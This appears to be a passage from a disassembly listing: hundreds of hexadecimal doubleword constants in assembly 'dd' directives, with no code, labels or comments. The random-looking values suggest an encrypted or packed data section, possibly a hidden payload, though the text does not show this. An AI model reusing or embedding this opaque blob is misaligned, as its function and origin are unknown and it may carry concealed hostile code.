		dd 858EDC20h, 0AC8027A3h, 2DA99B2Ah, 9B30AA96h,	0FD34B6F2h
		dd 0BCE837B3h, 3DBCE33Ah, 0C3C5DB5h, 264ADE03h,	35BB2321h
		dd 28678D00h, 0A938281Bh, 30AA352Dh, 6233B712h,	0E837B71Eh
		dd 3D3E0C09h, 5D3FBB03h, 511E98B1h, 922D21A1h, 958E7724h
		dd 9A267A3Bh, 369CF32Ch, 3A7094C9h, 88255490h, 1631586Dh
		dd 0BAEC3EADh, 0E8ED18B9h, 318375CDh, 2257501h,	2B38C186h
		dd 2DDC0CA7h, 607AD968h, 9B1A5622h, 0EA615EE5h,	0A8AE3C6Ah
		dd 0AF49E9ABh, 6628E602h, 0CD202115h, 4315C43Eh, 4D288D1Dh
		dd 7D074F2Ch, 3A235234h, 895A2057h, 0D5F133D8h,	7D181F8Ch
		dd 602C1D0Ah, 0CC258324h, 0F3EA6F2h, 8A414A43h,	0B3450E2Ch
		dd 54353056h, 6777527h,	3B5CDC88h, 13FE54D5h, 67F6419Eh
		dd 9DAC35D1h, 3A563E6Eh, 0A574F889h, 0B12E8C6Ah, 8D30909Dh
		dd 22262BE5h, 2669B8F7h, 57961F7Dh, 1D9D1FF3h, 812010CCh
		dd 0F5343272h, 626FA227h, 0A4273B8Bh, 35F620A9h, 31153633h
		dd 0EB7B53Ch, 36DC040Ah, 6BD24B07h, 3D0C9F33h, 0A907A293h
		dd 3CE93702h, 0ED383CEAh, 6162EB3Ch, 5D282472h,	3961F6EEh
		dd 0E6CC7F13h, 0F70F163Fh, 0A4145B3Eh, 66672082h, 0F84F3E2Ch
		dd 0E83B2363h, 5A4AA25h, 67610330h, 0A0F4E0CAh,	753B291Bh
		dd 0BA8D6D2Dh, 0BEB6BCABh, 9FDA7B8Dh, 46266A85h, 86628893h
		dd 7C2A358Dh, 643ED165h, 0BC6273BFh, 0B06A7738h, 41B3656Ah
		dd 4F4D1C20h, 0AFEEAB4Dh, 0AB05357Dh, 30C10E49h, 0A57D5CEBh
		dd 20D9FB67h, 0CA5D34D2h, 9EF4B895h, 3E32C8D3h,	1D131B30h
		dd 49DF75D2h, 66A14C22h, 884C2626h, 7D282B2Ah, 3115A64Ah
		dd 0D934B036h, 6F6D642Ah, 3C6BE009h, 40925A6Fh,	39F70E39h
		dd 7953238Ch, 95670251h, 2C282A28h, 5CA6DD16h, 21460615h
		dd 437C6B4h, 4D18B16Ah,	0D89D2A32h, 1F7C0A95h, 33189F68h
		dd 14672254h, 0AA37FC29h, 0C911AE0Dh, 317F51CFh, 5031F235h
		dd 4A386F7Bh, 3E76423Fh, 0CFB3268h, 222E2FA0h, 34BD242Ch
		dd 4021344Dh, 0EAC0619h, 0F40A104Fh, 0B43A3246h, 0B1685871h
		dd 0D6341EF4h, 8D7D8E21h, 73BABE0Eh, 0E55A0DE3h, 39FC8D82h
		dd 30866A7Bh, 0F1BB032Eh, 37AA331Bh, 0FF3D3663h, 0F9BF6565h
		dd 137A7036h, 9A9F0640h, 252328A1h, 84773EE5h, 962B53C1h
		dd 9227248Fh, 0C53F83Bh, 15079666h, 6C69366Dh, 3A3F636Ch
		dd 0C5F61C54h, 0C210112Bh, 0B3150924h, 93A7C179h, 0D1C83E2Ch
		dd 27F6B2CFh, 137A35B9h, 0D197D118h, 6F3EC2C2h,	4AF5D290h
		dd 23DEDEF4h, 0FEAFA422h, 6A0D6CE1h, 0C62CBC2Bh, 7233D7C7h
		dd 5D58F33Bh, 5F5F5552h, 4E7D0F4Ch, 1D2B790Ch, 43260F18h
		dd 40574262h, 68584A7Ah, 0E92D282Ch, 45517F40h,	5831335Ah
		dd 7AF84438h, 458C2BABh, 783E4851h, 6D0F465Ch, 4B514148h
		dd 8F53EEF5h, 236F57E9h, 5959681Dh, 7ABE6A91h, 122BD62Ch
		dd 73891A29h, 5B113F9Fh, 0B1F0D3Eh, 22A063C8h, 2527A467h
		dd 0AB551CC0h, 0CF9DAC2Dh, 0D181F441h, 3EFFAA46h, 0A7100929h
		dd 0B41AF8B2h, 0C8FC19DEh, 1ECB044Bh, 0A37D2666h, 4C88C2E2h
		dd 2D28B02Bh, 0BB39D20Eh, 3EBE2C7Dh, 0CAB01064h, 0B7117F9Fh
		dd 96305B79h, 6FA92B55h, 250C8022h, 0A01049AFh,	6EA76B44h
		dd 0FC0B132Eh, 400875BBh, 57013738h, 6354E16h, 191B4AFBh
		dd 0CB2F7094h, 6070A927h, 8CC7AF15h, 7C670EADh,	0B37F7129h
		dd 2550DA30h, 1CBB9D54h
		dd 6C337A09h, 6DFDA19Ch, 4E4E1F5Ch, 0E30243C8h,	0AA2639A4h
		dd 2BE90DBCh, 69467D2Fh, 17A510D4h, 0EF23CA88h,	133F23D8h
		dd 9E3D3DACh, 38BD4CB5h, 4A857057h, 4E3EA447h, 7B1C490Fh
		dd 48650B68h, 13E13112h, 2785BDB6h, 5B0466BCh, 0FF58FD28h
		dd 250A4B0Fh, 0F1701F7Eh, 0F2DB2248h, 39DE17F7h, 4D3B7B28h
		dd 0D9667E1Eh, 1541A3EAh, 0DAB6B337h, 50713A1Ah, 9814541Eh
		dd 2192F3Ch, 0B0B6473Ch, 28D76601h, 0AD972843h,	0AFAFAF74h
		dd 4A7DBF61h, 6C37E2DDh, 33FBBF59h, 213FB7B8h, 5652AF99h
		dd 722393A0h, 6D5F97A4h, 3ABE3EA8h, 0E7A5B5ADh,	23813562h
		dd 0B73700DCh, 0DDD26932h, 0BCC1C370h, 9F15D87Fh, 20E1A4A9h
		dd 9C492197h, 2A886D25h, 0A5F8172Bh, 40FB47DFh,	0C8B4343Bh
		dd 3A367A77h, 0FE3D4B3Ah, 4F78716Ah, 23A7F748h,	0AE259392h
		dd 91FD1CEEh, 0B2CC284Eh, 40474AAEh, 0CCB73640h, 304B6716h
		dd 3C3F7082h, 6B4FEA05h, 671E3F40h, 2612301h, 0F3006F24h
		dd 52A7F76h, 0E02E6F89h, 758F3373h, 7AA2F334h, 3D7A4E38h
		dd 1F3E7C87h, 0B51F5DFBh, 6F23638Fh, 65822465h,	2F2BFD29h
		dd 2E6CB486h, 0BD309004h, 66DA3596h, 99B91339h,	3E6F213Ch
		dd 0A61DBC63h, 0C3341A47h, 26CD1424h, 0A32A28D0h, 8CC5246Dh
		dd 4435702Eh, 0E65E5C37h, 0D27DF21Ch, 3239BDD9h, 199F24D7h
		dd 23B71FE4h, 25E9CB6Eh, 0F2281625h, 2D283B42h,	31CF7C2Ch
		dd 63F7BAE2h, 0B02841BDh, 0FC85FC3Eh, 42BFCC3Dh, 701FDE2Ch
		dd 521F7271h, 892FA62Eh, 0A7EB1628h, 348533E5h,	9D712FF0h
		dd 34973339h, 9637975Fh, 90339671h, 5D9211BDh, 17C39922h
		dd 51EE1E54h, 482E6D2Fh, 4F2B2D68h, 0B633B131h,	1372F2F4h
		dd 3FBA392Ch, 3F8AB933h, 1D3FA118h, 2DDECB73h, 29252B23h
		dd 25292727h, 212D232Bh, 320B6A2Fh, 3275F3F2h, 3AFE3C37h
		dd 90FE393Fh, 19384F3Eh, 2920F39Dh, 0AE72E311h,	29A370D7h
		dd 0D2E5A8D0h, 0E0C781DCh, 4747A14h, 9BD0A636h,	35B7037Ah
		dd 1292603Eh, 62454E96h, 2B791D20h, 27272925h, 2C24D529h
		dd 30202E22h, 343C323Eh, 3838363Ah, 3383A36h, 177C0E73h
		dd 9CE0964Bh, 10DD21E9h, 0D088D7E4h, 0D4BA78F9h, 0CFF4E539h
		dd 23B9E17Bh, 36443485h, 0FB0929B1h, 3E3AF9BFh,	9C871DDAh
		dd 0F2625005h, 202C7021h, 18A596CFh, 199C042Ah,	98D9322Eh
		dd 38C23503h, 0FF2FFA4Bh, 692732D8h, 0B9389738h, 266617FDh
		dd 0D9CC2B1Ah, 29C90F67h, 0C5252F5Bh, 20F00CF8h, 0E2942340h
		dd 294A3F33h, 450E3C79h, 0BB12ED6h, 8B1CF614h, 0FF23D136h
		dd 7C127C5h, 0DC2AAA86h, 34AEE102h, 0FF250231h,	2ED873D5h
		dd 302DCE02h, 0F19C1FD5h, 1231F50Ah, 342027C8h,	0AF31231Bh
		dd 2129C126h, 75C6203Bh, 14833FB1h, 7EDE3923h, 2C7F3B3Ch
		dd 3DD67705h, 48429C75h, 0CBC9EF94h, 2125ADB1h,	2692060h
		dd 0EEA46433h, 0BD31D52Eh, 6D49B46Ch, 0AF667D6Eh, 0BE979D13h
		dd 0C4B4F36Fh, 0E5211F1Fh, 0D52B4230h, 0B9BACF17h, 7C2C34AAh
		dd 0F70081A7h, 9D168C0Fh, 1B9BDA14h, 0FDB8FA2Bh, 1CBB55CFh
		dd 0F9B1119h, 75765C61h, 0A2CFAE4Eh, 2C3E2A73h,	4F6C2A2Ch
		dd 6432C2B4h, 0E3055AC5h, 7CFB91D1h, 0F3D7B51Dh, 73EC782Fh
		dd 34B4C934h, 94762754h, 736E2970h, 957DD7Ch, 0C32B1188h
		dd 15891545h, 6FDBA4Bh,	11800E6h, 20572223h, 1C951EBDh
		dd 190E1B27h, 292917BDh, 2F2D2F1Bh, 25323073h, 58051503h
		dd 85094007h, 0D10DE10Bh, 5F2D390Fh, 0A3117D2Fh, 8315A913h
		dd 97198B17h, 1C1DEF1Bh, 4102FD1Ch, 0AC07B701h,	79CDA805h
		dd 0C335EA38h, 9D2B36E7h, 21361F77h, 6D3DF645h,	3F667232h
		dd 0E283A17Bh, 270EAAEAh, 80246232h, 78A637CFh,	563F8934h
		dd 93F16D7Dh, 89B0045Fh, 2A0320C0h, 0C7773CA5h,	32B86929h
		dd 7ABFA94Eh, 0A3D3D935h, 0F04255BEh, 64CA3FF8h, 7D3F8D62h
		dd 11A1E1Ch, 37003F3Eh,	2D950521h, 0A9497906h, 2D7A245Eh
		dd 25D310CFh, 7EBE32B8h, 7E39B333h, 0F03E0E0Ah,	0D80D906Fh
		dd 12E0DFEh, 1760A854h,	3BCA1E63h, 0B6AEAEDh, 8943AE3Dh
		dd 4934830Bh, 193A689Bh, 3CB8D436h, 0A48F3F3Dh,	203DD21Fh
		dd 0DC3EA972h, 292724FFh, 50A07D7Fh, 30913E09h,	35316225h
		dd 393708B5h, 6B304E39h, 98ECC16Bh, 9A161DD8h, 0A23654E0h
		dd 2726A5E2h, 3FD4A82Bh, 2F2F2FBCh, 0B8CDD34Ch,	5D613172h
		dd 6E6A7932h, 0E42E28C3h, 1F0D40DAh, 0A92517DFh, 0ADD80FDBh
		dd 3A0D2873h, 0F92EC328h, 0BB33EF04h, 73F33673h, 74B23A37h
		dd 68B6383Bh, 36D31833h, 0E1A51FC9h, 0AC206DABh, 26202B70h
		dd 6D2CACAFh, 3E302ED5h, 3A343C32h, 39374836h, 3D333B35h
		dd 1C143F31h, 0E7601E12h, 2C6D22ACh, 0F46E6FCDh, 0D3D42A91h
		dd 0F371E8A6h, 3832FEA1h, 30F6B535h, 0C37C14D0h, 1FAFC131h
		dd 7562101Ch, 23CA49DFh, 262666A8h, 2F2A884Ch, 2FC67D2Ch
		dd 0CCCC165Ah, 0B239EEB0h, 3B3B5838h, 3E3E553Eh, 0DA1D4D2Dh
		dd 22057492h, 0AC2576A9h, 0D40260F0h, 72532ED4h, 0CC4F3027h
		dd 66933432h, 0C41637DFh, 0FA89BFC4h, 379C1D3Bh, 51259F1Eh
		dd 0F542266h, 0B6102776h, 3DC6132Ch, 0F602B9A9h, 7A33253h
		dd 0ABF0D0E2h, 0FAD3708h, 8F1B8FA4h, 0B2604C1Bh, 0B0B55727h
		dd 1AB26817h, 189B5177h, 0D0321CB5h, 853D0372h,	0F6A1665h
		dd 0CD31AAD6h, 19301F3Ah, 1E1E3B04h, 0C5C112A3h, 3FE2A65Ch
		dd 0C32ACFFCh, 0D0D3C769h, 33FDBA60h, 0CADE6DDCh, 34FABCC7h
		dd 3FBAB83Ch, 0F61E7618h, 0DFC820C1h, 22E1A7DCh, 542DE8A2h
		dd 0F5372C62h, 0B9CECDDDh, 0EF03073h, 3A383AAAh, 0C13D6C2Fh
		dd 1FC0632Ah, 21484F1Fh, 2560655Ah, 7CA3AA27h, 7E2D2B2Ah
		dd 0D9602DA5h, 0C930DED1h, 0B26877C9h, 62CABECAh, 6DBE64F8h
		dd 13410CF5h, 3B23C0E1h, 2838756Fh, 3B5FBAA7h, 133E1E2Eh
		dd 55DA580Fh, 7B36360Bh, 0AEB62A75h, 80235378h,	0DF27BF17h
		dd 3C623920h, 0CC1FA02Ch, 0B635A12Ah, 0BE8017A1h, 330ADC0Ah
		dd 7555DD0Ch, 3D4F9927h, 0BD60FD0Fh, 89999A2Bh,	0E22567C8h
		dd 2E3E24B2h, 6A0DBE25h, 5286EA5h, 26B065BAh, 0AA219E20h
		dd 0D6B82CAAh, 3E3C302Bh, 2E0A1B3Dh, 0A70495D7h, 0A6E4A32Eh
		dd 0AC08D8FEh, 22A824EAh, 115A202Eh, 1157B39Bh,	0C527F761h
		dd 7DC8BC78h, 791B1E3Fh, 1DFB7631h, 0DB723721h,	0ECA4F145h
		dd 0B2ABA33Dh, 20CF25ECh, 8F313230h, 1C4396F4h,	3BF82B2Dh
		dd 5A3E3E57h, 19971514h, 0D336E025h, 0DFE61724h, 0A05D628h
		dd 2F212D23h, 333D313Fh, 3739353Bh, 17FC1B18h, 9DFFBD1Ch
		dd 8E2138AFh, 7A2D201Fh, 22CCAF74h, 2108A852h, 9A59363Bh
		dd 3291040Bh, 0D6249403h, 9BA93ABBh, 0B5C5792Bh, 5900FB77h
		dd 2E20E137h, 0DA242C22h, 29272729h, 2D232B25h,	313F2F21h
		dd 18F43339h, 3A388536h, 55F5BE69h, 1C741DBEh, 59B7A731h
		dd 0B12C2271h, 9FCFE5B5h, 7F1F2AF7h, 3204FA7Eh,	0F65C912Eh
		dd 0FCB43535h, 139B1F2Dh, 1763DF66h, 12457F99h,	513E06A0h
		dd 7520E45Ah, 0FD57F78h, 294E2939h, 3DF32CBBh, 0E4CCCA62h
		dd 0EB167E68h, 0DE230D3Bh, 0DF308C1Fh, 2631CD02h, 3476B563h
		dd 1D883123h, 0ACACABFAh, 636128E7h, 37353023h,	39F93C17h
		dd 0BF2EECC2h, 4D2F9AFBh, 89485B4Ch, 0CD7133A3h, 0AA020740h
		dd 8D38EF7Eh, 5B18AF26h, 0DC3CB359h, 57F84000h,	0FD88063Dh
		dd 0CA263A3Dh, 1D1E8B1Bh
		dd 0E1E2A11h, 29271B24h, 0E4635C9h, 39489E0Eh, 342D1112h
		dd 5E14153Fh, 9A1DBAE2h, 0DD3C2AB4h, 56595408h,	36A1300h
		dd 0AA864076h, 80897544h, 0AF754B25h, 7037B132h, 77B0D55Bh
		dd 49924D07h, 30BF5655h, 1F1A3D1Dh, 4E092738h, 9C64514Fh
		dd 45384A07h, 5D46AC59h, 56587873h, 0B6F05457h,	5B7D1811h
		dd 0BA325B55h, 5D019BAFh, 2ED3242Eh, 4064A5A6h,	7ED777D8h
		dd 782C5E5Eh, 0A3F4F91h, 2B40F452h, 398A4DEh, 3FC96C19h
		dd 694C1B34h, 7FC09515h, 7AE022AAh, 561EE57Eh, 25215F21h
		dd 3067790Dh, 0B9714708h, 0B123D64Bh, 8BB33667h, 0A4F5D63Dh
		dd 0DB9DE2E1h, 0A874210Ch, 362E2ECh, 2F2A296Ch,	0D293CBC4h
		dd 337CBCCFh, 8E676530h, 3B7E4850h, 0BBD63C2Ch,	0D19D1CA0h
		dd 6E21ADE0h, 5AAC2C07h, 2AC16803h, 0D1D09422h,	58303045h
		dd 325F2433h, 30782D5Dh, 383778C0h, 0AB165898h,	0A121DE0Fh
		dd 24E53CA4h, 0E90532E6h, 236E002Bh, 74B82DEEh,	3034533Ch
		dd 78535933h, 41327B32h, 5991317Ah, 0F08D1E17h,	0E4296774h
		dd 6CEC2C64h, 266FFC23h, 28EB0BCCh, 143F7ADEh, 0B832723Eh
		dd 6DF2E0Bh, 48C8D625h,	9BE1BDE3h, 0A36055E0h, 46662125h
		dd 2BCA786Ah, 74D0C530h, 0B9E50C1Ah, 2FBA7764h,	0D3223AB9h
		dd 2B381FFAh, 3D9DD36Eh, 3634600Fh, 3655AD7Dh, 0B21ECA4h
		dd 0AE2F0E3Bh, 0BB2F6E30h, 0B6DE1FB3h, 4FC6C63Dh, 60623A3Bh
		dd 0DE47DB0Ch, 357E5F93h, 12CCB71h, 0D271AE2h, 24ACFAAFh
		dd 0E3F02760h, 6F647FBh, 6A351136h, 1FBCB3D2h, 471FA23Ch
		dd 345A1EDEh, 2B57F0A4h, 0EFDFAD25h, 2F2F2A2Fh,	7EA62EE2h
		dd 6F5D939h, 2C616661h,	3928203Ch, 0B93A2C1Dh, 8F1B0DBFh
		dd 7D7D1975h, 0DE1A8720h, 0BD5D60Bh, 2F212D23h,	333D313Fh
		dd 3739353Bh, 167E1EEAh, 0BE19E793h, 1DD14F7h, 0A974004Ch
		dd 667272CAh, 2CC1302Bh, 0AE38CCF1h, 2714782Fh,	28763293h
		dd 63F583Bh, 76880A3Ah,	1A9A4721h, 0C027977Ah, 0C52007h
		dd 6329FE90h, 0F212CA8h, 513783B1h, 1D623494h, 21B9309Eh
		dd 0A000DA3Eh, 51153898h, 0E1DB19BDh, 0C8167036h, 6E3E2694h
		dd 7C068BB8h, 50E456C5h, 0C78F308h, 30F528F4h, 77AA361Ah
		dd 4D3F54C7h, 1D5C1D46h, 0AB26306Bh, 0FF25D777h, 6D22E9ABh
		dd 0EE2DC328h, 0A5443699h, 9BDE650Ch, 6094537Bh, 1B6A3B32h
		dd 1F96181Bh, 0A9E81349h, 0E01E2411h, 0EBBD2779h, 7F7DEDA1h
		dd 66CBD8B7h, 2F35B2F1h, 7E79684Fh, 6C153D3Ah, 0C6EC0EC0h
		dd 0A1211E1Ch, 0E1A75829h, 5CEB1C2Ah, 2FAC0AA0h, 493E2F45h
		dd 34746262h, 0CBD0073Eh, 196855FBh, 4E936F12h,	361F97F5h
		dd 2433E6A2h, 7840062Dh, 0C0A57C1h, 0C0F362Fh, 9823B360h
		dd 0E36CCDDh, 1E2B2A18h, 1E3F122Dh, 7D17F648h, 1CA13726h
		dd 2B22C428h, 6BEAC184h, 9CF4ED43h, 6A3E08D1h, 2249423Ah
		dd 5EB73937h, 8D2CFEF1h, 1F085201h, 0D1C97077h,	0D92175A1h
		dd 5A28DB26h, 522C2C29h, 263332Fh, 79D04B3h, 0BC909E6h
		dd 0C580E67h, 2FAE294Ch, 12B72C96h, 110F1704h, 1C671318h
		dd 18FF1E99h, 7431ACAh,	3E7058Ah, 0E670007h, 5220CC9h
		dd 24500714h, 189F267Ah, 1D341B33h, 11021F77h, 15991305h
		dd 0D016E32Dh, 4C091508h, 2A3360Fh, 7340087h, 6C3D0566h
		dd 1FDE162Ch, 2022A922h, 97154624h, 641E201Bh, 1B882D18h
		dd 7F6058Dh, 343601D8h,	80F2C0Dh, 3F0B0309h, 2BDD29B5h
		dd 17DD15CCh, 0A17A3923h, 6FF236FDh, 0AE7E2C06h, 0B4BB6742h
		dd 36B802B3h, 0FABD2949h, 0B3067AB0h, 4D3A453Fh, 2C54D095h
		dd 0A55021CAh, 0ED4077ABh, 8D2C6F78h, 0D93BC42Fh, 0A9377155h
		dd 0B2A83477h, 3D75D3F1h, 9C95B50Dh, 0B6951A28h, 4291BE1h
		dd 3E0F2535h, 2C2AF00Eh, 745E6E3Dh, 440F3241h, 932B1539h
		dd 48D9273Dh, 49195B05h, 0DE46196Ch, 0A8321121h, 5D2576D4h
		dd 7B7C2899h, 0D0D1472Ch, 45C4B4E5h, 0C9B51531h, 58994CC7h
		dd 0A1C16A4Ah, 6F1C4CCDh, 33808A69h, 0D91260ABh, 0F3126B27h
		dd 0D155A024h, 0B7CE30D0h, 0B1B13BC5h, 6F313B37h, 36D8A1D3h
		dd 43435C4Ah, 7CE3943Eh, 56E1E079h, 41A07174h, 522C7D42h
		dd 726C3AD1h, 2FD4BC5Fh, 3D3D5357h, 556AB1BAh, 981F0D06h
		dd 0DF1F5396h, 242C222Eh, 2828262Ah, 2C242A26h,	30202E22h
		dd 3B333DCEh, 37373935h, 333B3539h, 143F313Dh, 1F111A1Ch
		dd 232D212Fh, 0EB2496F1h, 0D4402053h, 6C554B44h, 57333130h
		dd 67323595h, 1EB3395Ch, 0D3BF393Ch, 21FD187Bh,	22A8EA24h
		dd 2556346Dh, 0A13D6ED8h, 0A539722Bh, 2FD8F1E0h, 0BFEC3430h
		dd 7A822C69h, 157D3F3Bh, 6FE720E7h, 724F7E58h, 1560AE22h
		dd 0C178753Eh, 2D212B87h, 297EA22Ch, 0DD306563h, 0B2B57725h
		dd 2FFB8D1h, 8C53BCBEh,	279F1A7Eh, 45BCCA05h, 983A683Eh
		dd 642B3A21h, 0E1A0C629h, 0C4177E2Bh, 0E9D6AA3Dh, 0E7DFD3Eh
		dd 89797E3Dh, 9D1E7D55h, 653F8124h, 37272512h, 0ED163FE8h
		dd 4632CF72h, 3F3AAE71h, 777F1E34h, 5B90D0C4h, 0FF2BC2C1h
		dd 951C1EC1h, 229D2222h, 22E1A729h, 2EB0FFD8h, 5C292F92h
		dd 0B9C3BB07h, 62113467h, 3CFFBB65h, 3E1CEFD3h,	63EA9E54h
		dd 31361F48h, 253761CAh, 0D6CAA60h, 7D202A02h, 32462E4Fh
		dd 3550A9DAh, 23033798h, 113D3F3Bh, 8219FFB5h, 101FB83Bh
		dd 0C39A6D20h, 28AC6926h, 11A02909h, 26AFB1EDh,	35373259h
		dd 7408B703h, 3D51261Dh, 0D5B46F7Dh, 9FF545F4h,	0E422E972h
		dd 51EA01A0h, 0AFC22F28h, 332EC150h, 0E83A24CFh, 0B7A76CB6h
		dd 9BBF212Ah, 3E1D1629h, 3E0A005Ah, 6DAC7091h, 2E85338Dh
		dd 0B4C82427h, 0E3266DDCh, 0B961298Dh, 0F499BDEBh, 31395E2Ch
		dd 31E64CBEh, 167D61BBh, 36401C1Eh, 33C4FE73h, 0CC4B6744h
		dd 0D6B7EA3Ch, 27D726AFh, 714EF20h, 3838A1BCh, 28E32EB5h
		dd 994D0BDFh, 0A410DE0Dh, 140C0286h, 2727D0A0h,	2F2BB7ADh
		dd 7041A378h, 0BF656539h, 17973648h, 3EE33E69h,	64A131Dh
		dd 1E1A5B97h, 25AB7EC0h, 776E4552h, 956EA9A5h, 15C67D3Ch
		dd 33225001h, 0DF32BE3Ch, 0A53AB9F7h, 3DD63972h, 745C7C46h
		dd 665E716h, 2225643Bh,	0CA5D2EE0h, 32C529CBh, 1B31E736h
		dd 1755A472h, 6BFFF8B2h, 4A3C033Bh, 0EA503B23h,	2DA92EFEh
		dd 58841164h, 4D200EA6h, 0D3D26A3h, 0F224EB24h,	84432B2h
		dd 49F0AA7h, 820682h, 9ED102FBh, 0F1221EA1h, 0DF1EC91Ch
		dd 16272418h, 121D1433h, 307C1068h, 970D530Fh, 0D909980Bh
		dd 2CB0439h, 242D00C2h,	57211D31h, 4F1D401Fh, 1826BA1Bh
		dd 14F11686h, 2F2E12DAh, 8586133h, 0CC70EA8h, 76202C4h
		dd 3C6019Eh, 23382110h,	1F181D33h, 1B7C1973h, 17A8154Dh
		dd 107911A6h, 0CE10E46h, 9BD0BB2h, 5920795h, 3D2D3F3Bh
		dd 1DA01A3Fh, 4610311Dh, 3D159F13h, 861A8014h, 971E9F18h
		dd 0A539EF1Ch, 7743ABAh, 0C9B3E436h, 0B933CDBFh, 0E3E63FC6h
		dd 0DF0963E2h, 84226634h, 0F141B22h, 255E2829h,	0CF2E44EDh
		dd 0B5A8DBE6h, 5427D73Dh, 373A07B2h, 0AEE87676h, 0BB14995Ch
		dd 3928A075h, 672B2FADh, 220B3C2Dh, 2F243BC5h, 731BD133h
		dd 72BDDC11h, 0BA77B23Ch, 556F7F1Ch, 7199741Ah,	0C22875EEh
		dd 4783CC39h, 220D647Eh, 0E44528C3h, 16651A8Fh,	0F367763Fh
		dd 1BE13713h, 3648E734h, 364C142Eh, 40DC14h, 0DE4DC32Eh
		dd 6A296FABh, 26FE34EAh
		dd 41EB1C2Ch, 32B4173Bh, 3EB82B74h, 0C2C3DDBBh,	3D8F32AEh
		dd 71491CCFh, 21D24E49h, 2867AD4Dh, 39D4782Ah, 0BB3E8EF5h
		dd 74F3C923h, 3A75D1B4h, 25A71EBDh, 4B683D2Dh, 1B1E1F5Fh
		dd 3E2121BCh, 84772785h, 7F2DA92Ah, 771D657Fh, 67326663h
		dd 7061656Dh, 3B6E6C6Dh, 9087864h, 3B151C2Bh, 4F7D5337h
		dd 0C6798E93h, 464A2E2Fh, 47D64844h, 32728F87h,	72221559h
		dd 434D4D57h, 381E343Bh, 1C2E0F5Fh, 4C261924h, 43534856h
		dd 0D6D72752h, 2D246F5Fh, 0FE331760h, 0BE0C7DBBh, 77B3E636h
		dd 49F5BE0Ah, 5A903710h, 708DE21h, 247DA972h, 0A1F82565h
		dd 0F4106A77h, 2951752Dh, 640774BAh, 0C7613E67h, 0B922BAE8h
		dd 1B3C4BFDh, 0D8DD4343h, 27226166h, 2F4CAE98h,	28E2A268h
		dd 34C62F22h, 3D31183Eh, 3972CDBFh, 3D9937h, 383DFCC7h
		dd 9A121D71h, 0C2A880E9h, 0A651665Fh, 0C27B3C23h, 0D6340D51h
		dd 38B20715h, 143FB46Bh, 3921583Eh, 0B96216D3h,	19C4F23h
		dd 25233A4Ch, 2407A1CAh, 482AED44h, 2DE12862h, 8F3BB3A3h
		dd 0BEBD6FE5h, 0D8F9FC3Eh, 0B6F775B8h, 0D4933CE6h, 6E9B5294h
		dd 0A6EC01F0h, 236B3E6Bh, 0AF5DAAE2h, 1225BA63h, 5FA32339h
		dd 0F92E4EB4h, 0BC6E3DDBh, 63BBF545h, 4F669FCCh, 136159A0h
		dd 0D9A7622Dh, 0CACAEBC6h, 92522C2Ch, 3A2D38E4h, 2527353Bh
		dd 6B6D6F2Fh, 0C056B5CCh, 1E020C14h, 31619F1Eh,	0E75131DCh
		dd 0AFD94576h, 0BF3B58DDh, 304AC0B0h, 0F65A74E4h, 96F3142h
		dd 3EFD5FC4h, 42DB1AFEh, 7E2A8B40h, 7BE411E2h, 834E3A5h
		dd 8F3B6BBBh, 0D907AC06h, 371B3Dh, 490D3532h, 2C49CDBFh
		dd 19D3149Ah, 41175D3Dh, 0DB751C61h, 2B271A30h,	0EB6B2AE9h
		dd 160C2EECh, 846C1113h, 0C6325334h, 486D8C27h,	1D305F29h
		dd 0D4A2137Ch, 0A126E126h, 0FA24E730h, 0EBA23DBBh, 0AF2B4D2Ah
		dd 31F2F520h, 0BB843FB4h, 69D25478h, 0F319F99Ch, 4FD13C53h
		dd 22B9233Fh, 0FE07A420h, 0E2B0AA7h, 8ED53C3h, 0FA138847h
		dd 0EE9D10A7h, 31193B37h, 6E381C69h, 0BCB51F3Bh, 0A15B531Ch
		dd 2564032Eh, 6B2AF727h, 2F2C5A01h, 40062C2Eh, 351C3032h
		dd 39487635h, 3F2A33h, 0FC186B3Eh, 318F1D08h, 2737B922h
		dd 2B333383h, 0EE283E9Dh, 302B2E5Ch, 45E32432h,	0E6314635h
		dd 3C3D3A48h, 0CBE7C3Eh, 8C7D897h, 232D2CDFh, 30A3A2Dh
		dd 18522924h, 23D11EC1h, 3F03DF8Eh, 0CB785296h,	4E3AF103h
		dd 41E5B815h, 1E03250Ch, 0D91A246Bh, 0CE723956h, 9892AA23h
		dd 5AEDA921h, 3F21DB3Fh, 0D046DC64h, 0BB7C3937h, 7D32FA3Fh
		dd 993897A2h, 0C4F0E2Eh, 9D742712h, 2C86522Eh, 472D3F4Ah
		dd 39A03C2Ch, 6719590Ah, 0AB7D2DDEh, 2EBA1732h,	0DD2CD71Eh
		dd 4499331Ah, 22432790h, 0FDD87631h, 768D2DC3h,	373E29CCh
		dd 315AE5CEh, 0FA29C47Dh, 0EC24582Bh, 45BFD07h,	7CBE5Dh
		dd 0A02C20C1h, 0EE3943E5h, 0E26A2168h, 0AAD1F4AFh, 933D51F9h
		dd 83137ABh, 5278127Ah,	0D3F1D33h, 11C3EDBh, 223E4F40h
		dd 263A243Ch, 0C6AA283Ah, 787E2C3Bh, 335B3645h,	4753659h
		dd 6AB9C7ECh, 0FEB534FBh, 964D3437h, 0BCC853D0h, 22DBEA2h
		dd 0E2AB5D4h, 0A2DC6C2h, 0B120278Ah, 26B02121h,	583263Fh
		dd 9E0D3BB1h, 175BF302h, 623AF62Dh, 0C27F8035h,	6ACF1702h
		dd 0EC9B3E62h, 0B6A2A62Ch, 60F986Bh, 3867CCDDh,	97C838D0h
		dd 98F53EB6h, 0B5ED1EFDh, 0E0207A7Fh, 0D84C26DAh, 6897D940h
		dd 4B2F2D2Ch, 63363191h, 12BF3550h, 0D7B93D38h,	0EF3F6B0Ch
		dd 74167658h, 486E4A1Ch, 234F302Bh, 403517F7h, 0DF2DA72Ch
		dd 0E383D87Fh, 6E21CBCFh, 0BB2F3937h, 0EC35B8BFh, 0A769173Eh
		dd 61089973h, 262725E3h, 295CE626h, 2F2C338Bh, 0FA43EDF9h
		dd 66376B36h, 0B94B4262h, 19795F6Bh, 4C1238E5h,	4F766C15h
		dd 245A12E1h, 0A10E0A24h, 0AA456300h, 0AEFBD04h, 0F4314244h
		dd 3A3F5CE6h, 0A0BBE10Ah, 9F1BA2B4h, 0F71D1DACh, 2321E10Bh
		dd 21262942h, 7B780D88h, 0F30DE2A7h, 23A83161h,	0A42F5B0h
		dd 0D3363CD8h, 219F1E3Eh, 0F6351D3Bh, 7223E0E7h, 0A75DA64Bh
		dd 4367A502h, 0AA6DF5C3h, 47C4BA2Fh, 32776BE6h,	3BB9EB1Ch
		dd 3DB61FDAh, 6DE8775Fh, 0A125EE10h, 2D6FAE2Eh,	0BA54CF77h
